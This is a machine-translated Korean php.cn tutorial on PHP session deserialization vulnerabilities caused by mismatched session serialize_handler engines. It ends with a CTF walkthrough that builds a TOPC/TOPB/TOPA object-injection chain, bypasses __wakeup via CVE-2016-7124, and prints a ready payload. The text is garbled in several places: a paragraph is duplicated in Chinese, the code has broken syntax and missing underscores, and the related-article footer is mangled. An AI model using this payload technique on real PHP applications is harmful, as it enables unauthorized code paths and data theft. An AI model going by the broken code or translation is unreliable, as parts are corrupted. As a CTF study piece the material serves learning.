PHP의 세션 역직렬화 취약점에 대한 간략한 토론-PHP 튜토리얼-php.cn

집

백엔드 개발

PHP 튜토리얼

PHP의 세션 역직렬화 취약점에 대한 간략한 토론

零下一度

Jun 17, 2017 am 10:47 AM

phpsession직렬화허점질문

이 글은 주로 PHP의 sessiondeserialization 취약점을 소개합니다. 필요한 친구는 참고하면 됩니다.

php.ini에는 세 가지 구성 항목이 있습니다.

rreee

위 옵션은 의 옵션과 동일합니다. 세션 저장 및 시퀀스 저장과 관련된 PHP 옵션입니다.

xampp 컴포넌트를 사용한 설치에서 위 구성 항목은 다음과 같이 설정됩니다.

session.save_path="D:\xampp\tmp"  表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files     表明session是以文件的方式来进行存储的
session.auto_start=0        表明默认不启动session
session.serialize_handler=php    表明session的默认序列话引擎使用的是php序列话引擎

위 구성에서는 기본 PHP 외에 session.serialize_handler를 사용하여 세션의 직렬화 엔진을 설정합니다. 엔진에는 다른 엔진이 있으며, 다른 엔진에 해당하는 세션 저장 방법이 다릅니다.

php_binary: 저장 방식은 키 이름의 길이에 해당하는 ASCII 문자 + 키 이름 + serialize() 함수에 의해 직렬화된 값

php: 저장 방식은 키 이름 + 세로 막대 + serialize() 함수 직렬화된 값

php_serialize (php>5.5.4): 저장 방법은 PHP에서 serialize() 함수

로 직렬화된 값을 기본으로 사용하는 것입니다. 다른 엔진으로 수정하려면 ini_set('session.serialize_handler', '설정해야 할 엔진');을 추가하면 됩니다. 샘플 코드는 다음과 같습니다.

session 디렉터리는 /var/lib/php/sessions

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump($_SESSION);

php_serialize 엔진 아래 세션 파일에 저장된 데이터는 다음과 같습니다.

a:1:{s:4:"name";s:6:"spoock";}

php 파일 엔진 아래의 내용은 :

name|s:6:"spoock";

php_binary 엔진 아래의 파일 내용은 다음과 같습니다.

names:6:"spoock";

이름의 길이가 4이기 때문에 4는 ASCII 테이블의 EOT에 해당합니다. php_binary의 저장 규칙에 따르면 마지막 것은 names:6:"spoock";입니다. (갑자기 웹 페이지에서 ASCII 값이 4인 문자를 표시할 수 없다는 사실을 발견했습니다. ASCII 표를 직접 확인하시기 바랍니다.)

PHP 세션의 직렬화 위험

Session 구현에는 문제가 없습니다. PHP의 경우, 피해는 주로 프로그래머가 세션을 부적절하게 사용하여 발생합니다.

저장된 $_SESSION 데이터를 역직렬화하기 위해 PHP에서 사용하는 엔진이 직렬화에 사용되는 엔진과 다른 경우 데이터가 올바르게 역직렬화되지 않습니다. 신중하게 구성된 데이터 패킷을 통해 프로그램 검증을 우회하거나 일부 시스템 방법을 실행할 수 있습니다. 예:

$_SESSION[&#39;ryat&#39;] = &#39;|O:1:"A":1:{s:1:"a";s:2:"xx";}&#39;;

php 파일 예:

접속 후 세션 파일의 내용은 다음과 같습니다. 

root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}
그러나 이때 시뮬레이션에서는 다른 PHP 엔진을 사용합니다. 다른 페이지에서 읽으려면 내용은 다음과 같습니다. (기본적으로 세션 파일을 읽는 데는 PHP 엔진이 사용됩니다.)


a;
  }
}
// var_dump($_SESSION);
이 페이지를 방문하여 xx

xxarray(1) {
 ["a:1:{s:4:"ryat";s:30:""]=>
 object(A)#1 (1) {
  ["a"]=>
  string(2) "xx"
 }
}
를 출력할 때 사용하기 때문입니다. PHP 엔진에서는 |를 키와 값 구분 기호로 사용하고 a:1:{s:4:"ryat";s:30:"을 SESSION 키로 사용하고 O:1:"을 사용합니다. A":1:{s:1:" a";s:2:"xx";}를 값으로 지정한 다음 역직렬화하면 마침내 클래스 A를 얻게 됩니다. 
이는 직렬화 및 역직렬화 PHP 세션 직렬화 취약점의 원인입니다. PHP 엔진을 사용하여 페이지를 로드할 때 세션이 세션의 콘텐츠를 읽고 역직렬화하여 출력 없이 취약점이 트리거됩니다. GCTF에 대한 취약점 분석:
index.php에는 다음이 포함됩니다. 
<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET[&#39;src&#39;])){
  $_SESSION[&#39;src&#39;] = $_GET[&#39;src&#39;];
  highlight_file(FILE);
  print_r($_SESSION[&#39;src&#39;]);
}
?>
<!DOCTYPE HTML>
<html>
 <head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>代码审计2</title>
 </head>
 <body>
 PHP에서 직렬화 작업은 데이터에 액세스하는 데 자주 사용되지만 직렬화 프로세스 중에 제대로 처리되지 않으면 일부 보안 위험이 발생합니다. 


<form action="./query.php" method="POST">    
<input type="text" name="ticket" />        
<input type="submit" />
</form>
<a href="./?src=1">查看源码</a>
</body>
</html>
query.php의 내용은 


/************************/
/*
//query.php 部分代码
session_start();
header(&#39;Look me: edit by vim ~0~&#39;)
//......
class TOPA{
  public $token;
  public $ticket;
  public $username;
  public $password;
  function login(){
    //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
    $this->username ==&#39;aaaaaaaaaaaaaaaaa&#39; && $this->password == &#39;bbbbbbbbbbbbbbbbbb&#39;){
      return &#39;key is:{&#39;.$this->token.&#39;}&#39;;
    }
  }
}
class TOPB{
  public $obj;
  public $attr;
  function construct(){
    $this->attr = null;
    $this->obj = null;
  }
  function toString(){
    $this->obj = unserialize($this->attr);
    $this->obj->token = $FLAG;
    if($this->obj->token === $this->obj->ticket){
      return (string)$this->obj;
    }
  }
}
class TOPC{
  public $obj;
  public $attr;
  function wakeup(){
    $this->attr = null;
    $this->obj = null;
  }
  function destruct(){
    echo $this->attr;
  }
}
*/


아이디어는 다음과 같습니다. 
이 질문에서는 TOPC를 구성하며, 소멸 중에 가 호출됩니다. echo $this->attr;;
TOPB 개체에 attr을 할당하면 echo TOPB매직 메소드 echo $this->attr;；

将attr赋值为TOPB对象，在echo TOPB的时候会自动调用tostring魔术方法
在tostring中会调用unserialize($this->attr),因为后面用到token和ticket，所以显然时TOPA对象。后面判断需要$this->obj->token === $this->obj->ticket,所以在序列化的时候进行指针引用使$a->ticket = &$a->token;，即可绕过判断。
至于为什么(string)$this->obj
는 tostring에서 unserialize($this->attr)를 호출합니다. 토큰과 티켓은 나중에 사용되므로 분명히 TOPA 개체입니다. 나중에 판단하려면 $this->obj->token === $this->obj->ticket이 필요하므로 직렬화 중에 포인터 참조가 이루어지므로 $a - >ticket = &$a->token;, 판단을 우회할 수 있습니다  (string)$this->obj가 플래그를 출력하는 이유는 로그인은 tostring일 수 있습니다. 
역직렬화된 
문자열에는 내부 매개변수를 지우는 wakeup() 함수가 있습니다. CVE: CVE-2016-7124를 통해 우회할 수 있는지 물었습니다. Object의 수량을 나타내는 필드를 실제 필드보다 큰 값으로 변경하면 wakeup 기능을 우회할 수 있습니다. 

최종 코드:

🎜$testa = new TOPA();
$testc = new TOPC();
$testb = new TOPB();
$testa->username = 0;
$testa->password = 0;
$testa->ticket = &$testa->token;
$sa = serialize($testa);
$testc->attr = $testb;
$testb->attr = $sa;
$test = serialize($testc);
echo $test;
🎜최종 페이로드:🎜
|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
위 내용은 PHP의 세션 역직렬화 취약점에 대한 간략한 토론의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명

본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

관련 기사

unset ()와 session_destroy ()의 차이점은 무엇입니까?May 04, 2025 am 12:19 AM

thedifferencebetweenUnset () andsession_destroy () istssection_destroy () thinatesTheentiresession.1) TEREMOVECIFICESSESSION 'STERSESSIVEBLESSESSIVESTIETSTESTERSALLS'SSOVERSOLLS '를 사용하는 것들

로드 밸런싱의 맥락에서 스티커 세션 (세션 친화력)이란 무엇입니까?May 04, 2025 am 12:16 AM

stickysessionsureSureSureRequestSaroutEdToTheSERSESSESSESSESSESSESSESSESSESSESSESSESSESSESSESSESSESSESSESSESSESSESSESSESINCENSENCY

PHP에서 사용할 수있는 다른 세션 저장 핸들러는 무엇입니까?May 04, 2025 am 12:14 AM

phpoffersvarioussessionsaveAndlers : 1) 파일 : 기본, 단순, 단순한 BUTMAYBOTTLENECKONHIGH-TRAFFICSITES.2) MEMCACHED : 고성능, IdealForspeed-CriticalApplications.3) Redis : SimilartomemCached, WithaddedPersistence.4) 데이터베일 : OffforIntegrati

PHP의 세션은 무엇이며 왜 사용됩니까?May 04, 2025 am 12:12 AM

PHP의 세션은 여러 요청간에 상태를 유지하기 위해 서버 측의 사용자 데이터를 저장하는 메커니즘입니다. 구체적으로, 1) 세션은 session_start () 함수에 의해 시작되며 데이터는 $ _session Super Global Array를 통해 저장되어 읽습니다. 2) 세션 데이터는 기본적으로 서버의 임시 파일에 저장되지만 데이터베이스 또는 메모리 스토리지를 통해 최적화 할 수 있습니다. 3) 세션은 사용자 로그인 상태 추적 및 쇼핑 카트 관리 기능을 실현하는 데 사용될 수 있습니다. 4) 세션의 보안 전송 및 성능 최적화에주의를 기울여 애플리케이션의 보안 및 효율성을 보장하십시오.

PHP 세션의 수명주기를 설명하십시오.May 04, 2025 am 12:04 AM

phpsessionsStartWithSession_start (), whithesauniqueIdAndCreatesErverFile; thepersistacrossRequestSandCanBemanBledentSandwithSession_destroy ()

절대 세션 타임 아웃의 차이점은 무엇입니까?May 03, 2025 am 12:21 AM

절대 세션 시간 초과는 세션 생성시 시작되며, 유휴 세션 시간 초과는 사용자가 작동하지 않아 시작합니다. 절대 세션 타임 아웃은 금융 응용 프로그램과 같은 세션 수명주기의 엄격한 제어가 필요한 시나리오에 적합합니다. 유휴 세션 타임 아웃은 사용자가 소셜 미디어와 같이 오랫동안 세션을 활성화하려는 응용 프로그램에 적합합니다.

세션이 서버에서 작동하지 않으면 어떤 조치를 취 하시겠습니까?May 03, 2025 am 12:19 AM

서버 세션 고장은 다음 단계를 따라 해결할 수 있습니다. 1. 서버 구성을 확인하여 세션이 올바르게 설정되었는지 확인하십시오. 2. 클라이언트 쿠키를 확인하고 브라우저가 지원하는지 확인하고 올바르게 보내십시오. 3. Redis와 같은 세션 스토리지 서비스가 정상적으로 작동하는지 확인하십시오. 4. 올바른 세션 로직을 보장하기 위해 응용 프로그램 코드를 검토하십시오. 이러한 단계를 통해 대화 문제를 효과적으로 진단하고 수리 할 수 있으며 사용자 경험을 향상시킬 수 있습니다.

session_start () 함수의 중요성은 무엇입니까?May 03, 2025 am 12:18 AM

session_start () iscrucialinphpformanagingUsersessions.1) itiniteSanewsessionifnoneexists, 2) ResumesAnxistessions, and3) setSasessionCookieForContInuityAcrosrequests, enablingplicationsirecationSerauthenticationAndpersonalizestContent.

See all articles